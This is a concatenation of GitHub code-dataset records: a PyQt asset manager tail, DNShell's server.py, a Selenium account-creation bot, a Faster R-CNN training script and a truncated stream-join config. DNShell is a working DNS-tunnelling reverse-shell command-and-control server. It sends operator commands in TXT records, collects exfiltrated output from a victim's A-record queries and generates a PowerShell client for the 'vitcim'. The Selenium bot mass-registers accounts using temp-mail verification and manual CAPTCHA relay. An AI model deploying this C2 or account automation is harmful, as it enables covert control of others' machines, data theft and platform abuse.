self.trayIcon.show()\n            self.tray_message = \"Manager is in background mode.\"\n            self.trayIcon.showMessage('Still running...', self.tray_message, QtGui.QSystemTrayIcon.Information, 1000)\n            self.hide()\n            event.ignore()\n            self.trayIcon.show()\n\n    def terminate_program(self):\n        # tasks = subprocess.check_output(['tasklist'])\n        # if \"houdin\" in tasks.lower():\n        #     self.Lib.message_box(self, type=\"error\", text=\"Please close Houdini layout scenes before closing the Manager!\")\n        #     return\n\n\n        self.cursor.execute('''UPDATE preferences SET is_online=0 WHERE username=?''', (self.username,))\n        self.db.commit()\n        self.Lib.switch_mari_cache(self, \"perso\")\n        self.close()\n        app.exit()\n\n        # self.quit_msg = \"Are you sure you want to exit the program?\"\n        # reply = QtGui.QMessageBox.question(self, 'Are you leaving :(',\n        #                  quit_msg, QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)\n        #\n        # if reply == QtGui.QMessageBox.Yes:\n        #\n        #     event.accept()\n        # else:\n        #     event.ignore()\n\n    def changeEvent(self, event):\n        if event.type() == QtCore.QEvent.WindowStateChange:\n            if self.windowState() & QtCore.Qt.WindowMinimized:\n                self.setWindowFlags(QtCore.Qt.Tool)\n                self.hide()\n                self.trayIcon.show()\n                self.tray_message = \"Manager is in background mode.\"\n                self.trayIcon.showMessage('Still running...', self.tray_message, QtGui.QSystemTrayIcon.Information, 1000)\n\n    def check_last_active(self):\n        for user in self.members.keys():\n            last_active = datetime.now().strftime(\"%d/%m/%Y at %H:%M\")\n            last_active_datetime = datetime.strptime(last_active, '%d/%m/%Y at %H:%M')\n\n            last_active_db = self.cursor.execute('''SELECT last_active FROM preferences WHERE username=?''', (user, )).fetchone()[0]\n            last_active_db_datetime = datetime.strptime(last_active_db, '%d/%m/%Y at %H:%M')\n\n            time_difference = last_active_datetime - last_active_db_datetime\n            if time_difference.seconds > 600:\n                self.cursor.execute('''UPDATE preferences SET is_online=0 WHERE username=?''', (user,))\n            else:\n                self.cursor.execute('''UPDATE preferences SET is_online=1 WHERE username=?''', (user,))\n\n        last_active = datetime.now().strftime(\"%d/%m/%Y at %H:%M\")\n        self.cursor.execute('''UPDATE preferences SET last_active=? WHERE username=?''', (last_active, self.username,))\n        self.db.commit()\n\n\nclass CheckNews(QtCore.QThread):\n    def __init__(self, main):\n        QtCore.QThread.__init__(self)\n        self.main = main\n\n    def run(self):\n        while True:\n            self.emit(QtCore.SIGNAL(\"check_last_active\"))\n            time.sleep(300)\n\n\nif __name__ == \"__main__\":\n\n    log_to_file = False\n    cur_path = os.path.dirname(os.path.realpath(__file__))\n    cur_path_one_folder_up = cur_path.replace(\"\\\\_asset_manager\", \"\")\n    logger = logging.getLogger()\n    logger.setLevel(logging.DEBUG)\n    formatter = logging.Formatter('%(asctime)s ::: %(filename)s ::: ''%(funcName)s() ::: line ''%(lineno)d ::: ''%(message)s')\n    file_handler = RotatingFileHandler(cur_path_one_folder_up + '\\\\_database\\\\activity.log', 'a', 1000000, 1)\n    file_handler.setLevel(logging.DEBUG)\n    file_handler.setFormatter(formatter)\n    logger.addHandler(file_handler)\n    steam_handler = logging.StreamHandler()\n    steam_handler.setLevel(logging.DEBUG)\n    logger.addHandler(steam_handler)\n\n    if log_to_file == False:\n        app = QtGui.QApplication(sys.argv)\n        app.setQuitOnLastWindowClosed(False)\n\n        window = Main()\n\n        sys.exit(app.exec_())\n    else:\n        try:\n            app = QtGui.QApplication(sys.argv)\n            app.setQuitOnLastWindowClosed(False)\n\n            window = Main()\n\n            sys.exit(app.exec_())\n        except Exception as e:\n            logger.debug(e)\n\n\n","repo_name":"BlenderCN-Org/project_manager","sub_path":"_asset_manager/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":40815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71070904510","text":"import subprocess\nimport re\nimport sys\nimport base64\nimport json\nfrom pprint import pprint\nimport readline\nimport argparse  # Added argparse module\nimport threading\nfrom dnslib import *\nimport socket\nimport codecs\n\n\nprint(\"\"\"\n     ______ _   _  _____ _          _ _\n    |  _  \\ \\ | |/  ___| |        | | |\n    | | | |  \\| |\\ `--.| |__   ___| | |\n    | | | | . ` | `--. \\ '_ \\ / _ \\ | |\n    | |/ /| |\\  |/\\__/ / | | |  __/ | |\n    |___/ \\_| \\_/\\____/|_| |_|\\___|_|_|\n      \"\"\")\n\nprint(\"\"\"\n| ------------------------------------------------------------------------------------------------------|\n| When you start DNShell without parameters it starts the server and waits for incoming connections.    |\n| If you need the .ps1 file for the vitcim. Use the \"--generate-client\" argument                        |\n|                                                                                                       |\n| Author: Nicolas Caluori                                                                               |\n| Github: https://github.com/Nicicalu/dnshell                                                           |\n|-------------------------------------------------------------------------------------------------------|\n\"\"\")\n\n\ndef base64_decode_string(encoded_string):\n    decoded_bytes = base64.b64decode(encoded_string)\n    decoded_string = decoded_bytes.decode('utf-8')\n    return decoded_string\n\n\ndef base64_encode_string(string):\n    encoded_bytes = base64.b64encode(string.encode(\"utf-8\"))\n    encoded_string = encoded_bytes.decode(\"utf-8\")\n    return encoded_string\n\n\ndef base32_decode_string(encoded_string):\n    decoded_bytes = base64.b32decode(encoded_string)\n    decoded_string = decoded_bytes.decode('cp1252')\n    return decoded_string\n\n\ndata = {}\nsettings = {\n    \"domain\": \"\",\n    \"ip\": \"0.0.0.0\",\n    \"port\": 53\n}\nloglevel = \"INFO\"\n\n\ndef generateClient():\n    # Function to generate client\n    print(\"Generating client... for domain {settings['domain']}\")\n    # Read client-preset.ps1\n    with open('client-preset.ps1', 'r') as f:\n        content = f.read()\n\n    # Replace {domain} with the variable domain in the file\n    content = content.replace('{domain}', settings['domain'])\n\n    # prompt the user for the path, defaults to to \"./client.ps1\"\n    path = input(\n        'Enter the path to export the file (default: ./client.ps1): ') or './client.ps1'\n\n    # export the file to the path specified\n    with open(path, 'w') as f:\n        f.write(content)\n\n    print(\"Client generated and exported to {path}\")\n\n\ndef parseRequest(request, addr):\n    domainparts = str(request.q.qname).replace(f\".{settings['domain']}\", \"\")\n    result = re.sub(r'([^\\.]{63})\\.', r'\\1', domainparts)\n    return {\n        \"ip_address\": addr[0],\n        \"domain_name\": str(request.q.qname),\n        \"query_class\": str(request.q.qclass),\n        \"query_type\": QTYPE[request.q.qtype],\n        \"domain_parts\": result.split(\".\")\n    }\n\n\ndef sendData(code, counter, command):\n    if(loglevel >= 2):\n        print(\"func: SendData\")\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    s.bind((settings[\"ip\"], int(settings[\"port\"])))\n    while True:\n        if(loglevel >= 1):\n            print(\"Waiting for Client to get it's data\")\n        rawrequest, addr = s.recvfrom(1024)\n        request = DNSRecord.parse(rawrequest)\n        query = parseRequest(request, addr)\n        requestdomain = query[\"domain_name\"].lower()\n        if(loglevel >= 2):\n            print(\n                f\"Request from: {query['ip_address']} for {query['domain_name']} type {query['query_type']}\")\n        if(query[\"query_type\"] == \"TXT\" and requestdomain == f\"{counter}.{code}.{settings['domain']}.\".lower()):\n            if(loglevel >= 1):\n                print(\n                    f\"Responding with command '{command}' for request domain '{requestdomain}'\")\n            # Build response with command\n            command = base64_encode_string(command)\n            response = DNSRecord(\n                DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n            TTL = 60 * 5\n            rdata = TXT(command.encode(\"utf-8\"))\n            response.add_answer(\n                RR(rname=request.q.qname, rtype=QTYPE.TXT, rclass=1, ttl=TTL, rdata=rdata))\n            s.sendto(b'%s' % response.pack(), addr)\n            return\n        else:\n            if(loglevel >= 2):\n                print(\"No valid request (sendData)\")\n\n\ndef getData(code, counter):\n    if(loglevel >= 2):\n        print(\"func: GetData\")\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    s.bind((settings[\"ip\"], int(settings[\"port\"])))\n    while True:\n        rawrequest, addr = s.recvfrom(1024)\n        request = DNSRecord.parse(rawrequest)\n        query = parseRequest(request, addr)\n        if(loglevel >= 2):\n            print(\n                f\"Request from: {query['ip_address']} for {query['domain_name']} type {query['query_type']}\")\n        if query[\"query_type\"] == \"A\" and query[\"domain_name\"].lower().endswith(f\"{code}-{counter}.{settings['domain']}.\".lower()):\n            thisdata = query[\"domain_parts\"]\n\n            if not thisdata[3] in data:\n                data[thisdata[3]] = {}\n            data[thisdata[3]][int(thisdata[1])] = thisdata[0].replace(\"_\", \"=\")\n\n            print_progress(len(data[thisdata[3]]), int(\n                thisdata[2]), prefix=f'Packet {len(data[thisdata[3]])}/{thisdata[2]}', suffix='Complete', bar_length=50)\n            if len(data[thisdata[3]]) == int(thisdata[2]):\n                if(loglevel >= 1):\n                    print(\"--------------------- Data recieved ---------------------\")\n                # Put the data together in one variable\n                datastring = \"\"\n                for i in range(0, int(thisdata[2])):\n                    datastring += data[thisdata[3]][i]\n\n                # Upper because anti dns caching messed up the cases, Base32 is all upper case and case sensitive\n                datastring = datastring.upper()\n\n                if(loglevel >= 2):\n                    print(f\"Base32: {datastring}\")\n\n                # Base32 decode\n                decoded = base32_decode_string(datastring)\n                # JSON decode\n                if(loglevel >= 1):\n                    print(f\"JSON: {decoded}\")\n                response = json.loads(decoded)\n                return response\n\n            response = DNSRecord(\n                DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n            #TTL = 60 * 5\n            #rdata = A(\"1.1.1.1\")\n            #response.add_answer(RR(rname=request.q.qname, rtype=QTYPE.A, rclass=1, ttl=TTL, rdata=rdata))\n\n            s.sendto(b'%s' % response.pack(), addr)\n        else:\n            if(loglevel >= 2):\n                print(\"No valid request (getData)\")\n\n\ndef startServer():\n    pwd = \"\"\n    user = \"\"\n    hostname = \"\"\n\n    print(\"Waiting for client to connect... and identify itself\")\n    response = getData(0, 0)\n    code = response[\"code\"]\n    pwd = response[\"pwd\"]\n    user = response[\"user\"]\n    hostname = response[\"hostname\"]\n\n    print(\"\")\n    print(\"----------------------- Client connected -----------------------\")\n    print(f\"ID for this Reverse Shell: {code}\")\n    print(f\"User: {user}\")\n    print(f\"Hostname: {hostname}\")\n    print(\"----------------------------------------------------------------\")\n    print(\"\")\n\n    command = \"\"\n    counter = 0\n    while command != \"exit\":\n        command = input(f\"{user}@{hostname}: {pwd}> \")\n\n        readline.add_history(command)\n\n        sendData(code, counter, command)\n\n        if command != \"exit\":\n            response = getData(code, counter)\n            pwd = response[\"pwd\"]\n            user = response[\"user\"]\n            hostname = response[\"hostname\"]\n            output = response[\"output\"]\n\n            print(output)\n\n        counter += 1\n\n\ndef setSettings():\n    currentDomain = settings['domain'] or \"None\"\n    currentIP = settings['ip'] or \"0.0.0.0\"\n    currentPort = settings[\"port\"] or 53\n    # Prompt for domain and expose, and show current settings\n    settings['domain'] = input(\n        f'Enter domain (Press [Enter] for current: \\\"{currentDomain}\\\"): ') or currentDomain\n    settings['ip'] = input(\n        f'Enter the IP/Hostname that the dns server should listen to (0.0.0.0 to listen to every ip) (Press [Enter] for current: \\\"{currentIP}\\\"): ') or currentIP\n    settings['port'] = input(\n        f'Enter the Port that the dns server should listen to (Press [Enter] for current: \\\"{currentPort}\\\"): ') or currentPort\n\n    with open('settings.json', 'w') as f:\n        json.dump(settings, f)\n\n\ndef main():\n    global settings\n    global loglevel\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--start-server\", action=\"store_true\",\n                        help=\"Starts the listener\")\n    parser.add_argument(\"--generate-client\", action=\"store_true\",\n                        help=\"Generates the .ps1 client file\")\n    parser.add_argument(\"--log-level\", type=int, default=0,\n                        help=\"Set the log level (ERROR=0, INFO=1, DEBUG=2)\")\n    args = parser.parse_args()\n\n    loglevel = args.log_level or 0\n\n    # Handle settings\n    # if settings.json exists, load it into the variable settings\n    # if not, create it and prompt user for domain and expose\n    if os.path.exists('settings.json'):\n        # If it exists, load the settings into the variable 'settings'\n        with open('settings.json', 'r') as f:\n            settings = json.load(f)\n    else:\n        # If it doesn't exist, create it and prompt the user for domain and expose\n        setSettings()\n\n    if args.start_server:\n        startServer()\n    elif args.generate_client:\n        generateClient()\n    else:\n        while True:\n            # Give the user a choice based on the arguments, if the user inputs an invalid number, prompt again\n            print(\"--------------- Please choose an option: ---------------\")\n            print(f\"1) Start the listener\")\n            print(f\"2) Generate the .ps1 client file\")\n            print(f\"3) Change the settings\")\n            print(f\"99) Quit\")\n            print(\"--------------------------------------------------------\")\n            choice = input(\"Choice: \")\n            if choice == \"1\":\n                startServer()\n            elif choice == \"2\":\n                generateClient()\n            elif choice == \"3\":\n                setSettings()\n            elif choice == \"99\" or choice == \"exit\" or choice == \"quit\":\n                break\n            else:\n                print(\"Invalid choice\")\n\n\ndef print_progress(iteration, total, prefix='', suffix='', decimals=1, bar_length=100):\n    \"\"\"\n    Call in a loop to create terminal progress bar\n    @params:\n        iteration   - Required  : current iteration (Int)\n        total       - Required  : total iterations (Int)\n        prefix      - Optional  : prefix string (Str)\n        suffix      - Optional  : suffix string (Str)\n        decimals    - Optional  : positive number of decimals in percent complete (Int)\n        bar_length  - Optional  : character length of bar (Int)\n    \"\"\"\n    str_format = \"{0:.\" + str(decimals) + \"f}\"\n    percents = str_format.format(100 * (iteration / float(total)))\n    filled_length = int(round(bar_length * iteration / float(total)))\n    bar = '█' * filled_length + '-' * (bar_length - filled_length)\n\n    if iteration == total:\n        # Remove progress bar\n        sys.stdout.write('\\x1b[2K')\n    else:\n        sys.stdout.write('\\r%s |%s| %s%s %s' %\n                         (prefix, bar, percents, '%', suffix))\n\n    if iteration == total:\n        sys.stdout.write('\\n')\n    sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Nicicalu/DNShell","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":11686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2381967049","text":"from lib.WriteToLog import WriteToLog\r\nfrom lib.timer import timer\r\nfrom lib.Monetization import Monetization\r\nfrom threading import Thread\r\nfrom PIL import Image\t\r\nfrom PIL import ImageTk\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.proxy import *\r\nclass Submit(Thread): \r\n\r\n\t\t\r\n\tdef __init__(self, log, browser, submit, anwser, robot, email, captcha, bot, url):\r\n\t\tThread.__init__(self)\r\n\t\t\r\n\t\tself.captcha = captcha\r\n\t\t\r\n\t\tself.browser = browser\r\n\t\tself.submit = submit\r\n\t\tself.log = log\r\n\t\tself.anwser = str(anwser.get())\r\n\t\tself.email = email\r\n\t\tself.robot = robot\r\n\t\tself.bot = bot\r\n\t\tself.url = url\r\n\t\t\r\n\t\tself.start()\r\n\t\t\r\n\tdef run(self):\r\n\t\t\r\n\t\tdef reattempt():\r\n\t\t\r\n\t\t\tself.submit['text'] = \"FAILED\"\r\n\t\t\tWriteToLog(self.log, \"[Bot \" + str(self.bot + 1) + \"]: CAPTCHA Failed\")\r\n\t\t\r\n\t\t\tself.submit['text'] = \"Sleep\"\r\n\t\t\ttimer(self.submit, 6)\r\n\r\n\t\t\tself.CAPTCHA(self.log, self.bot, self.browser)\r\n\t\t\t\r\n\t\t\r\n\t\t#Submit\r\n\t\tWriteToLog(self.log, \"[Bot \" + str(self.bot + 1) + \"]: Submittting CAPTCHA \" + self.anwser)\r\n\t\tself.browser.find_element_by_xpath('//*[@id=\"save\"]').click()\r\n\t\t\r\n\t\t# Wait\r\n\t\tself.submit['text'] = \"Sleep\"\r\n\t\ttimer(self.submit, 6)\r\n\r\n\t\tself.browser.find_element_by_xpath('//*[@id=\"captchaInput\"]').click()\r\n\t\tself.browser.find_element_by_xpath('//*[@id=\"captchaInput\"]').send_keys(self.anwser)\r\n\t\t\t\r\n\t\t#Submit\r\n\t\tself.browser.find_element_by_xpath('//*[@id=\"save\"]').click()\r\n\t\ttimer(self.submit, 3)\r\n\t\t\t\r\n\t\ttry:\r\n\t\t\t\r\n\t\t\tself.browser.find_element_by_xpath('//*[@id=\"cantread\"]')\r\n\t\t\treattempt()\r\n\t\t\t\t\t\r\n\t\texcept:\r\n\t\t\tself.grab_email()\r\n\t\t\t\r\n\t\t\t\r\n\tdef grab_email(self):\r\n\r\n\t\t# Load temp email site\r\n\t\tself.browser.get(\"https://temp-mail.org/en/option/change\")\r\n\t\t\r\n\t\t# New email\r\n\t\tself.browser.find_elements_by_xpath('//*[@id=\"mail\"]')[1].click()\r\n\t\tself.browser.find_elements_by_xpath('//*[@id=\"mail\"]')[1].send_keys(self.email.split(\"@\")[0])\r\n\t\t\r\n\t\t# Submit\r\n\t\tself.browser.find_element_by_xpath('//*[@id=\"postbut\"]').click()\r\n\t\t\t\t\r\n\t\tself.verify()\r\n\t\t\r\n\t\t\r\n\tdef verify(self):\r\n\t\t# Verify Email\r\n\t\tself.browser.get(\"http://temp-mail.org/en/\")\r\n\t\ttimer(self.submit, 3)\r\n\t\t\r\n\t\t# Open Emai\r\n\t\tself.browser.find_element_by_partial_link_text(\"Confirm\").click()\r\n\t\ttimer(self.submit, 2)\r\n\r\n\t\t# Verify Email\r\n\t\tself.browser.find_element_by_partial_link_text(\"Confirm\").click()\r\n\t\ttimer(self.submit, 8)\r\n\t\r\n\t\tMonetization(log = self.log, submit = self.submit, bot = self.bot, browser = self.browser, email = self.email, url = self.url, robot = self.robot)\r\n\t\r\n\tdef CAPTCHA(self):\r\n\t\t\t\r\n\t\t# Take Screenshot\r\n\t\tself.browser.save_screenshot(\"./images/screenshots/screen_\" + str(self.bot) + \".png\")\r\n\t\t\r\n\t\t# Open Screenshot\r\n\t\tim_temp = Image.open(\"./images/screenshots/screen_\" + str(self.bot) + \".png\")\r\n\r\n\t\t# Crop Screenshot\r\n\t\tim_temp = im_temp.crop((167, 661, 359, 723))\r\n\r\n\t\t# Save CAPTCHA\r\n\t\tim_temp.save(\"./images/cache/captcha_\" + str(self.bot) + \".jpg\", \"jpeg\")\r\n\t\t\r\n\t\t# Load cropped CAPTCHA\r\n\t\tself.photo = ImageTk.PhotoImage(file = \"./images/cache/captcha_\" + str(self.bot) + \".jpg\")\r\n\r\n\t\tself.captcha[\"image\"] = self.photo\r\n\t\t\r\n\t\t","repo_name":"nolenfelten/Dailymotion-Account-Framework","sub_path":"lib/Submit.py","file_name":"Submit.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"36234578704","text":"import os\n\nimport torch\nfrom tensorboardX import SummaryWriter\nimport torch.backends.cudnn as cudnn\n\nfrom dataloader.vehicle_data import DATASET\nfrom utils.evaluate_utils import evaluate\nfrom utils.im_utils import Compose, ToTensor, RandomHorizontalFlip\nfrom utils.model_utils import create_model\nfrom utils.train_utils import AverageMeter\nfrom utils.im_utils import policy_v3\nfrom utils.infinite_sample_utils import Infinite_sampler, reduce_dict\nfrom Detector_RCNN_configuration import detectorConfig\n\n\nclass APP(object):\n    \"\"\"\n    The training of the specified architecture will take infinite number of batches unless until it is specified. In order to evaluate the trained model at particular interval,\n    the interval state is need to be mentioned.\n\n    To start the training\n    app = APP(args)\n    app.run(args)\n\n    The training history will be saved in save folder using tensorboard. To invoke the tensorfboarc '$ tensorboard --logdir='saved_dir'.\n    The checkpoint will be saved periodically.\n    \"\"\"\n    def __init__(self, auto_augment: bool, gpu_ids: str, model_save_dir: str, precision: str):\n\n        \"\"\"\n        Args:\n            :param auto_augment: To use AUTO-AUGMENT TECHNIQUES\n            :param gpu_ids: Gpu ids, to be specified as string '0, 1, 2, 3'\n            :param model_save_dir: Save directory of log file and checkpoint\n            :param precision: Training precision\n\n            TODO: Implementation of auto-augment technique\n        \"\"\"\n        cudnn.benchmark = True\n        if gpu_ids is not None:\n            self.gpu_ids = [int(gpu_id) for gpu_id in gpu_ids.split(\",\")]\n            print(\"Use GPU: {} for training\".format(gpu_ids[:]))\n            torch.cuda.set_device(self.gpu_ids[0])\n        else:\n            self.gpu_ids = None\n        self.precision = precision\n        self.model_save_dir = model_save_dir\n        self.device = torch.device(\"cuda\", self.gpu_ids[0]) if self.gpu_ids is not None else torch.device(\"cuda\")\n        self.writer = SummaryWriter(os.path.join(model_save_dir, 'epoch_log'))\n        Policy = policy_v3()\n        if auto_augment:\n            self.train_transform = Compose([ToTensor(),\n                                            RandomHorizontalFlip(prob=0.4)],\n                                            policies=Policy)\n        else:\n            self.train_transform = Compose([ToTensor(),\n                                            RandomHorizontalFlip(prob=0.0)])\n        self.test_transform = Compose([ToTensor()])\n\n    @staticmethod\n    def collate_fn(batch):\n        return tuple(zip(*batch))\n\n    def get_dataLoader(self, dataroot: object, task: str, batch_size: int) -> object:\n        \"\"\"\n        A commen data loader for training and testing.\n\n        Args:\n            :param dataroot (str): The data directory path. The structure of the directory should follow coco dataset pattern.\n            :param task (str): train or test\n            :param batch_size (int): Total batch size of data across all of the gpus.\n\n        \"\"\"\n        nw = min([os.cpu_count(), batch_size if batch_size > 1 else 0, 8])\n        data_set = DATASET(dataroot, task, '2017', self.train_transform)\n        sampler = Infinite_sampler(data_set.__len__())\n\n        with torch.cuda.device(self.device):\n            data_loader = torch.utils.data.DataLoader(data_set,\n                                                      batch_size=batch_size,\n                                                      shuffle=False,\n                                                      num_workers=nw,\n                                                      sampler=sampler if task == 'train' else None,\n                                                      collate_fn=self.collate_fn)\n\n        return data_loader\n\n    @staticmethod\n    def get_lr(optimizer):\n        \"\"\"\n        The function to return learning rate value whenever it is called.\n        Args:\n            :param optimizer: The optimizer of the current task.\n            :return: Floating point of learning rate\n        \"\"\"\n        for param_group in optimizer.param_groups:\n            return param_group['lr']\n\n    def run(self, backbone: str, backbone_pretrained: str, max_iter: int, dataroot: str, num_class: int, per_batch_size: int,\n            lr_config: object, resume_checkpoint: str, print_freq: int=50, save_ckpt_freq: int=1000) -> None:\n\n        \"\"\"\n        Args:\n            :param backbone (str): Architecture of the backbone module. Typically the name of the network. However, the network name must be given in the form of acceptable.\n                                   Currently, supported backbones are mobilenet, resnet18, efficientnet-b0, transformer-CvT, nfnet-f0, resnet50_fpn, shufflenet.\n            :param backbone_pretrained (str): Whether the backbone to use imagenet pretrained model or not\n            :param RCNN_config (object): Configuration of the detector module.\n            :param max_iter: The dataloader genenerate infinite number of batches of dataset with given batch size. To break the training loop, max_iter is used. If it is None,\n                            the training loop will continue infinitely.\n            :param dataroot (str): The data directory path. The structure of the directory should follow coco dataset pattern.\n            :param num_class (int): Number of classes. Total number of classes should consider the background object. Ex. If the number of class is 10, num_class: int= 10 +1\n            :param per_batch_size (int): Size of the batch size per GPU. Total number of batches across all GPU will be calculate automatically\n            :param lr_config (object): All of the learning rate configuration. Including scheduler.\n            :param resume_checkpoint (int): The path of trained model of backbone + detector. This is different from backbone_pretrained\n            :param print_freq: Printing the training loss\n            :param save_ckpt_freq: To save the checkpoint and evaluation step\n            :return: None\n        \"\"\"\n\n        global mAP\n        ctx_num = len(self.gpu_ids) if self.gpu_ids is not None else 1\n        batch_size = per_batch_size * ctx_num\n        cudnn.benchmark = True\n        trainLoader = self.get_dataLoader(dataroot=dataroot, task='train', batch_size=batch_size)\n        testLodaer = self.get_dataLoader(dataroot=dataroot, task='test', batch_size=batch_size)\n\n        model = create_model(backbone, detectorConfig(), num_class, backbone_pretrained)\n        model.to(self.device)\n\n        params = [p for p in model.parameters() if p.requires_grad]\n        optimizer = torch.optim.SGD(params, lr=lr_config.learningRate,\n                                    momentum=lr_config.momentum, weight_decay=lr_config.Decay)\n\n        lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer,\n                                                       step_size=lr_config.learningStep,\n                                                       gamma=lr_config.learningGamma)\n        scheduler_step = 1000\n        if self.precision == \"fp16\":\n            from apex import amp\n            model, optimizer = amp.initialize(model, optimizer, opt_level=\"O1\")\n            print('Training with Mixed precision is confirmed')\n\n        model = torch.nn.DataParallel(model, device_ids=self.gpu_ids, output_device=self.device).cuda(self.device)\n\n        if resume_checkpoint != \"\":\n            checkpoint = torch.load(resume_checkpoint)\n            model.load_state_dict(checkpoint['model'])\n            optimizer.load_state_dict(checkpoint['optimizer'])\n            lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\n            iteration = checkpoint['epoch'] + 1\n            print(\"the training process from epoch{}...\".format(iteration))\n        else:\n            iteration = 0\n\n        train_loss = []\n        val_mAPs = []\n        best_mAP = 0\n\n        loss_classifier = AverageMeter()\n        loss_box_reg = AverageMeter()\n        loss_objectness = AverageMeter()\n        loss_rpn_box_reg = AverageMeter()\n\n        while True:\n\n            model.train()\n            images, targets = next(iter(trainLoader))\n            images = list(image.to(self.device) for image in images)\n            targets = [{k: v.to(self.device) for k, v in t.items()} for t in targets]\n            loss_dict = model(images, targets)\n            losses = sum(loss for loss in loss_dict.values())\n            loss_dict_reduced = reduce_dict(loss_dict)\n            losses_reduced = sum(loss for loss in loss_dict_reduced.values())\n\n            loss_value = losses_reduced.item()\n            if isinstance(train_loss, list):\n                train_loss.append(loss_value)\n            optimizer.zero_grad()\n\n            if precision == \"fp16\":\n                with amp.scale_loss(losses, optimizer) as scaled_loss:\n                    scaled_loss.backward()\n            else:\n                losses.backward()\n            optimizer.step()\n\n            if iteration % scheduler_step == 0 and iteration != 0:\n                lr_scheduler.step()\n\n            loss_classifier.update(loss_dict_reduced['loss_classifier'].item())\n            loss_box_reg.update(loss_dict_reduced['loss_box_reg'].item())\n            loss_objectness.update(loss_dict_reduced['loss_objectness'].item())\n            loss_rpn_box_reg.update(loss_dict_reduced['loss_rpn_box_reg'].item())\n\n            if iteration % print_freq == 0:\n                print('Train : [Iter %d] \\t Class Loss %.3f, Box Reg Loss %.3f, Objectness Loss %.3f, RPN Box Reg Loss %.3f, LR %.5f' %\n                      (iteration, loss_classifier.avg, loss_box_reg.avg, loss_objectness.avg, loss_rpn_box_reg.avg, self.get_lr(optimizer)))\n\n            if iteration % save_ckpt_freq == 0:\n                _, mAP = evaluate(model, testLodaer, device=self.device, mAP_list=val_mAPs)\n                print('validation mAp is {}'.format(mAP))\n                print('best mAp is {}'.format(best_mAP))\n\n                checkpoint_info = {'lr': optimizer.param_groups[0]['lr'],\n                                   'val_mAP': mAP}\n                for k, v in loss_dict.items():\n                    checkpoint_info[k] = v.item()\n\n                if mAP > best_mAP:\n                    best_mAP = mAP\n                    save_files = {\n                        'model': model.state_dict(),\n                        'optimizer': optimizer.state_dict(),\n                        'lr_scheduler': lr_scheduler.state_dict(),\n                        'epoch': iteration}\n                    self.model_save_dir = self.model_save_dir\n                    os.makedirs(model_save_dir, exist_ok=True)\n                    torch.save(save_files,\n                               os.path.join(model_save_dir, \"{}-model-{}-mAp-{}.pth\".format(backbone, iteration, mAP)))\n\n            iteration += 1\n            self.writer.close()\n\n            if iteration == max_iter:\n                break\n\n\nif __name__ == '__main__':\n    class learningRateConfig:\n        learningRate = 5e-3\n        momentum = 0.9\n        Decay = 0.0005\n        learningStep = 100\n        learningGamma = 0.33\n\n    backbone = 'resnet18'  # [mobilenet, resnet18, efficientnet-b0, transformer-CvT, nfnet-f0, resnet50_fpn, shufflenet]\n    backbone_pretrained = ''\n    RCNN_config = detectorConfig()\n    dataroot = '/media/raja/6TB/Own_Trials/Dataset/Kaggle_Modified/Named_data'\n\n    max_iter = 10\n\n    num_class = 21 + 1\n    per_batch_size = 8\n    resume_checkpoint = ''\n\n    auto_augment = False\n    gpu_ids = '0'\n    model_save_dir = '{}_checkpoint'.format(backbone)\n    precision = 'fp32'\n\n    app = APP(auto_augment, gpu_ids, model_save_dir, precision)\n    app.run(backbone, backbone_pretrained, max_iter, dataroot, num_class, per_batch_size, learningRateConfig(),\n            resume_checkpoint)\n","repo_name":"PushparajaMurugan/RCNN_Infinite_Batches","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17287606748","text":"__author__ = 'Zakaria'\r\n\r\nMODE_TIME = \"time\"\r\nMODE_COUNT = \"count\"\r\njoin_mode = MODE_COUNT\r\n\r\n\r\nSUBWINDOW_DEFAULT_SIZE = 0\r\nSUBWINDOW_DEFAULT_TIME = 5000    # millisecond\r\nsubwindow_time = SUBWINDOW_DEFAULT_TIME\r\n\r\nCOST_FUNCTION_DEFAULT_PARAM = 10\r\nHEARTBEAT_INTERVAL = 10  # second\r\nCHECK_INTERVAL = 15\r\nMINIMUM_NODES = 1\r\n\r\nJOIN_CRITERION_INDEX = 1\r\n\r\nPUNCTUATION = '*'\r\n\r\nMODE_ADD_NODE_DEFAULT = \"default\"\r\nMODE_ADD_NODE_PENDING = \"pending\"\r\n\r\nSOURCE_HOST = '10.10.10.2'\r\nSOURCE_PORT = 80\r\nMERGER_HOST = '10.10.10.6'\r\nMERGER_PORT = 80\r\n\r\n\r\nDATATYPE_R_STREAM = 'R'\r\nDATATYPE_S_STREAM = 'S'\r\nDATATYPE_R_JOIN = 'RX'\r\nDATATYPE_S_JOIN = 'SX'\r\nDATATYPE_HEARTBEAT = 'H'\r\nDATATYPE_INCREASE_SUBWINDOW_SIZE_R = 'SW+R'\r\nDATATYPE_INCREASE_SUBWINDOW_SIZE_S = 'SW+S'\r\nDATATYPE_DELETE_R = 'DR'\r\nDATATYPE_DELETE_S = 'DS'\r\nDATATYPE_NODE_SERIAL = 'NS'\r\n\r\n\r\n\r\nINPUT_EXIT = \"exit\"\r\n\r\nINPUT_ADD_NODE = \"addnode\"\r\nSIGNAL_ADD_NODE = \"addnode\"\r\n\r\nINPUT_SET_SUBWINDOW_SIZE = 'ssw'\r\nSIGNAL_SET_SUBWINDOW_SIZE = 'ssw'\r\nDATATYPE_SET_SUBWINDOW_SIZE = 